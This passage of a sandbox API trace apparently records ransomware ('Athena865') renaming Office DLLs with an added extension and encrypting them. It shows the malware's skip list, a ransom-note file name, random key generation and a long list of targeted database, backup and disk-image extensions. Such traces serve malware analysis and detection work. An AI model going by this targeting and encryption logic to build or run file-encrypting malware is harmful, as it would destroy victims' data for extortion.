returned 1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2=".") returned 1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="..") returned 1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="windows") returned -1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="bootmgr") returned 1 [0071.330] lstrcmpiW (lpString1="GKExcel.dll", lpString2="temp") returned -1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="pagefile.sys") returned -1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="boot") returned 1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="ids.txt") returned -1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="ntuser.dat") returned -1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="perflogs") returned -1 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2="MSBuild") returned -1 [0071.331] lstrlenW (lpString="GKExcel.dll") returned 11 [0071.331] lstrcpyW (in: lpString1=0x241e89e, lpString2="GKExcel.dll" | out: lpString1="GKExcel.dll") returned="GKExcel.dll" [0071.331] lstrlenW (lpString="GKExcel.dll") returned 11 [0071.331] lstrlenW (lpString="Athena865") returned 9 [0071.331] lstrcmpiW (lpString1="Excel.dll", lpString2="Athena865") returned 1 [0071.331] lstrlenW (lpString=".dll") returned 4 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2=".dll") returned 1 [0071.331] lstrlenW (lpString=".lnk") returned 4 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2=".lnk") returned 1 [0071.331] lstrlenW (lpString=".ini") returned 4 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2=".ini") returned 1 [0071.331] lstrlenW (lpString=".sys") returned 4 [0071.331] lstrcmpiW (lpString1="GKExcel.dll", lpString2=".sys") returned 1 [0071.331] lstrlenW (lpString="GKExcel.dll") returned 11 [0071.331] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.Athena865") returned 64 [0071.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.athena865"), dwFlags=0x1) returned 1 [0071.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.336] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4563328) returned 1 [0071.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.336] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.337] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.337] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.337] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45a480, lpName=0x0) returned 0x17c [0071.339] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x5a480) returned 0x2d50000 [0071.359] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0071.547] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0071.565] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.566] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.566] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.567] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.570] CloseHandle (hObject=0x17c) returned 1 [0071.570] CloseHandle (hObject=0x154) returned 1 [0071.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.579] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2=".") returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="..") returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="windows") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="bootmgr") returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="temp") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="pagefile.sys") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="boot") returned 1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="ids.txt") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="ntuser.dat") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="perflogs") returned -1 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2="MSBuild") returned -1 [0071.579] lstrlenW (lpString="GKPowerPoint.dll") returned 16 [0071.579] lstrcpyW (in: lpString1=0x241e89e, lpString2="GKPowerPoint.dll" | out: lpString1="GKPowerPoint.dll") returned="GKPowerPoint.dll" [0071.579] lstrlenW (lpString="GKPowerPoint.dll") returned 16 [0071.579] lstrlenW (lpString="Athena865") returned 9 [0071.579] lstrcmpiW (lpString1="Point.dll", lpString2="Athena865") returned 1 [0071.579] lstrlenW (lpString=".dll") returned 4 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2=".dll") returned 1 [0071.579] lstrlenW (lpString=".lnk") returned 4 [0071.579] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2=".lnk") returned 1 [0071.580] lstrlenW (lpString=".ini") returned 4 [0071.580] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2=".ini") returned 1 [0071.580] lstrlenW (lpString=".sys") returned 4 [0071.580] lstrcmpiW (lpString1="GKPowerPoint.dll", lpString2=".sys") returned 1 [0071.580] lstrlenW (lpString="GKPowerPoint.dll") returned 16 [0071.580] lstrlenW (lpString="bak") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0071.580] lstrlenW (lpString="ba_") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0071.580] lstrlenW (lpString="dbb") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0071.580] lstrlenW (lpString="vmdk") returned 4 [0071.580] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0071.580] lstrlenW (lpString="rar") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0071.580] lstrlenW (lpString="zip") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0071.580] lstrlenW (lpString="tgz") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0071.580] lstrlenW (lpString="vbox") returned 4 [0071.580] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0071.580] lstrlenW (lpString="vdi") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0071.580] lstrlenW (lpString="vhd") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0071.580] lstrlenW (lpString="vhdx") returned 4 [0071.580] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0071.580] lstrlenW (lpString="avhd") returned 4 [0071.580] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0071.580] lstrlenW (lpString="db") returned 2 [0071.580] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0071.580] lstrlenW (lpString="db2") returned 3 [0071.580] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0071.581] lstrlenW (lpString="db3") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0071.581] lstrlenW (lpString="dbf") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0071.581] lstrlenW (lpString="mdf") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0071.581] lstrlenW (lpString="mdb") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0071.581] lstrlenW (lpString="sql") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0071.581] lstrlenW (lpString="sqlite") returned 6 [0071.581] lstrcmpiW (lpString1="nt.dll", lpString2="sqlite") returned -1 [0071.581] lstrlenW (lpString="sqlite3") returned 7 [0071.581] lstrcmpiW (lpString1="int.dll", lpString2="sqlite3") returned -1 [0071.581] lstrlenW (lpString="sqlitedb") returned 8 [0071.581] lstrcmpiW (lpString1="oint.dll", lpString2="sqlitedb") returned -1 [0071.581] lstrlenW (lpString="xml") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0071.581] lstrlenW (lpString="$er") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0071.581] lstrlenW (lpString="4dd") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0071.581] lstrlenW (lpString="4dl") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0071.581] lstrlenW (lpString="^^^") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0071.581] lstrlenW (lpString="abs") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0071.581] lstrlenW (lpString="abx") returned 3 [0071.581] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0071.581] lstrlenW (lpString="accdb") returned 5 [0071.581] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0071.581] lstrlenW (lpString="accdc") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0071.582] lstrlenW (lpString="accde") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0071.582] lstrlenW (lpString="accdr") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0071.582] lstrlenW (lpString="accdt") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0071.582] lstrlenW (lpString="accdw") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0071.582] lstrlenW (lpString="accft") returned 5 [0071.582] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0071.582] lstrlenW (lpString="adb") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0071.582] lstrlenW (lpString="adb") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0071.582] lstrlenW (lpString="ade") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0071.582] lstrlenW (lpString="adf") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0071.582] lstrlenW (lpString="adn") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0071.582] lstrlenW (lpString="adp") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0071.582] lstrlenW (lpString="alf") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0071.582] lstrlenW (lpString="ask") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0071.582] lstrlenW (lpString="btr") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0071.582] lstrlenW (lpString="cat") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0071.582] lstrlenW (lpString="cdb") returned 3 [0071.582] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0071.582] lstrlenW (lpString="ckp") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0071.583] lstrlenW (lpString="cma") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0071.583] lstrlenW (lpString="cpd") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0071.583] lstrlenW (lpString="dacpac") returned 6 [0071.583] lstrcmpiW (lpString1="nt.dll", lpString2="dacpac") returned 1 [0071.583] lstrlenW (lpString="dad") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0071.583] lstrlenW (lpString="dadiagrams") returned 10 [0071.583] lstrcmpiW (lpString1="rPoint.dll", lpString2="dadiagrams") returned 1 [0071.583] lstrlenW (lpString="daschema") returned 8 [0071.583] lstrcmpiW (lpString1="oint.dll", lpString2="daschema") returned 1 [0071.583] lstrlenW (lpString="db-journal") returned 10 [0071.583] lstrcmpiW (lpString1="rPoint.dll", lpString2="db-journal") returned 1 [0071.583] lstrlenW (lpString="db-shm") returned 6 [0071.583] lstrcmpiW (lpString1="nt.dll", lpString2="db-shm") returned 1 [0071.583] lstrlenW (lpString="db-wal") returned 6 [0071.583] lstrcmpiW (lpString1="nt.dll", lpString2="db-wal") returned 1 [0071.583] lstrlenW (lpString="dbc") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0071.583] lstrlenW (lpString="dbs") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0071.583] lstrlenW (lpString="dbt") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0071.583] lstrlenW (lpString="dbv") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0071.583] lstrlenW (lpString="dbx") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0071.583] lstrlenW (lpString="dcb") returned 3 [0071.583] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0071.584] lstrlenW (lpString="dct") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0071.584] lstrlenW (lpString="dcx") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0071.584] lstrlenW (lpString="ddl") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0071.584] lstrlenW (lpString="dlis") returned 4 [0071.584] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0071.584] lstrlenW (lpString="dp1") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0071.584] lstrlenW (lpString="dqy") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0071.584] lstrlenW (lpString="dsk") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0071.584] lstrlenW (lpString="dsn") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0071.584] lstrlenW (lpString="dtsx") returned 4 [0071.584] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0071.584] lstrlenW (lpString="dxl") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0071.584] lstrlenW (lpString="eco") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0071.584] lstrlenW (lpString="ecx") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0071.584] lstrlenW (lpString="edb") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0071.584] lstrlenW (lpString="epim") returned 4 [0071.584] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0071.584] lstrlenW (lpString="fcd") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0071.584] lstrlenW (lpString="fdb") returned 3 [0071.584] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0071.585] lstrlenW (lpString="fic") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0071.585] lstrlenW (lpString="flexolibrary") returned 12 [0071.585] lstrcmpiW (lpString1="werPoint.dll", lpString2="flexolibrary") returned 1 [0071.585] lstrlenW (lpString="fm5") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0071.585] lstrlenW (lpString="fmp") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0071.585] lstrlenW (lpString="fmp12") returned 5 [0071.585] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0071.585] lstrlenW (lpString="fmpsl") returned 5 [0071.585] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0071.585] lstrlenW (lpString="fol") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0071.585] lstrlenW (lpString="fp3") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0071.585] lstrlenW (lpString="fp4") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0071.585] lstrlenW (lpString="fp5") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0071.585] lstrlenW (lpString="fp7") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0071.585] lstrlenW (lpString="fpt") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0071.585] lstrlenW (lpString="frm") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0071.585] lstrlenW (lpString="gdb") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0071.585] lstrlenW (lpString="gdb") returned 3 [0071.585] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0071.585] lstrlenW (lpString="grdb") returned 4 [0071.585] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0071.586] lstrlenW (lpString="gwi") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0071.586] lstrlenW (lpString="hdb") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0071.586] lstrlenW (lpString="his") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0071.586] lstrlenW (lpString="ib") returned 2 [0071.586] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0071.586] lstrlenW (lpString="idb") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0071.586] lstrlenW (lpString="ihx") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0071.586] lstrlenW (lpString="itdb") returned 4 [0071.586] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0071.586] lstrlenW (lpString="itw") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0071.586] lstrlenW (lpString="jet") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0071.586] lstrlenW (lpString="jtx") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0071.586] lstrlenW (lpString="kdb") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0071.586] lstrlenW (lpString="kexi") returned 4 [0071.586] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0071.586] lstrlenW (lpString="kexic") returned 5 [0071.586] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0071.586] lstrlenW (lpString="kexis") returned 5 [0071.586] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0071.586] lstrlenW (lpString="lgc") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0071.586] lstrlenW (lpString="lwx") returned 3 [0071.586] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0071.587] lstrlenW (lpString="maf") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0071.587] lstrlenW (lpString="maq") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0071.587] lstrlenW (lpString="mar") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0071.587] lstrlenW (lpString="marshal") returned 7 [0071.587] lstrcmpiW (lpString1="int.dll", lpString2="marshal") returned -1 [0071.587] lstrlenW (lpString="mas") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0071.587] lstrlenW (lpString="mav") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0071.587] lstrlenW (lpString="maw") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0071.587] lstrlenW (lpString="mdbhtml") returned 7 [0071.587] lstrcmpiW (lpString1="int.dll", lpString2="mdbhtml") returned -1 [0071.587] lstrlenW (lpString="mdn") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0071.587] lstrlenW (lpString="mdt") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0071.587] lstrlenW (lpString="mfd") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0071.587] lstrlenW (lpString="mpd") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0071.587] lstrlenW (lpString="mrg") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0071.587] lstrlenW (lpString="mud") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0071.587] lstrlenW (lpString="mwb") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0071.587] lstrlenW (lpString="myd") returned 3 [0071.587] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0071.588] lstrlenW (lpString="ndf") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0071.588] lstrlenW (lpString="nnt") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0071.588] lstrlenW (lpString="nrmlib") returned 6 [0071.588] lstrcmpiW (lpString1="nt.dll", lpString2="nrmlib") returned 1 [0071.588] lstrlenW (lpString="ns2") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0071.588] lstrlenW (lpString="ns3") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0071.588] lstrlenW (lpString="ns4") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0071.588] lstrlenW (lpString="nsf") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0071.588] lstrlenW (lpString="nv") returned 2 [0071.588] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0071.588] lstrlenW (lpString="nv2") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0071.588] lstrlenW (lpString="nwdb") returned 4 [0071.588] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0071.588] lstrlenW (lpString="nyf") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0071.588] lstrlenW (lpString="odb") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0071.588] lstrlenW (lpString="odb") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0071.588] lstrlenW (lpString="oqy") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0071.588] lstrlenW (lpString="ora") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0071.588] lstrlenW (lpString="orx") returned 3 [0071.588] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0071.588] lstrlenW (lpString="owc") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0071.589] lstrlenW (lpString="p96") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0071.589] lstrlenW (lpString="p97") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0071.589] lstrlenW (lpString="pan") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0071.589] lstrlenW (lpString="pdb") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0071.589] lstrlenW (lpString="pdm") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0071.589] lstrlenW (lpString="pnz") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0071.589] lstrlenW (lpString="qry") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0071.589] lstrlenW (lpString="qvd") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0071.589] lstrlenW (lpString="rbf") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0071.589] lstrlenW (lpString="rctd") returned 4 [0071.589] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0071.589] lstrlenW (lpString="rod") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0071.589] lstrlenW (lpString="rodx") returned 4 [0071.589] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0071.589] lstrlenW (lpString="rpd") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0071.589] lstrlenW (lpString="rsd") returned 3 [0071.589] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0071.589] lstrlenW (lpString="sas7bdat") returned 8 [0071.589] lstrcmpiW (lpString1="oint.dll", lpString2="sas7bdat") returned -1 [0071.589] lstrlenW (lpString="sbf") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0071.590] lstrlenW 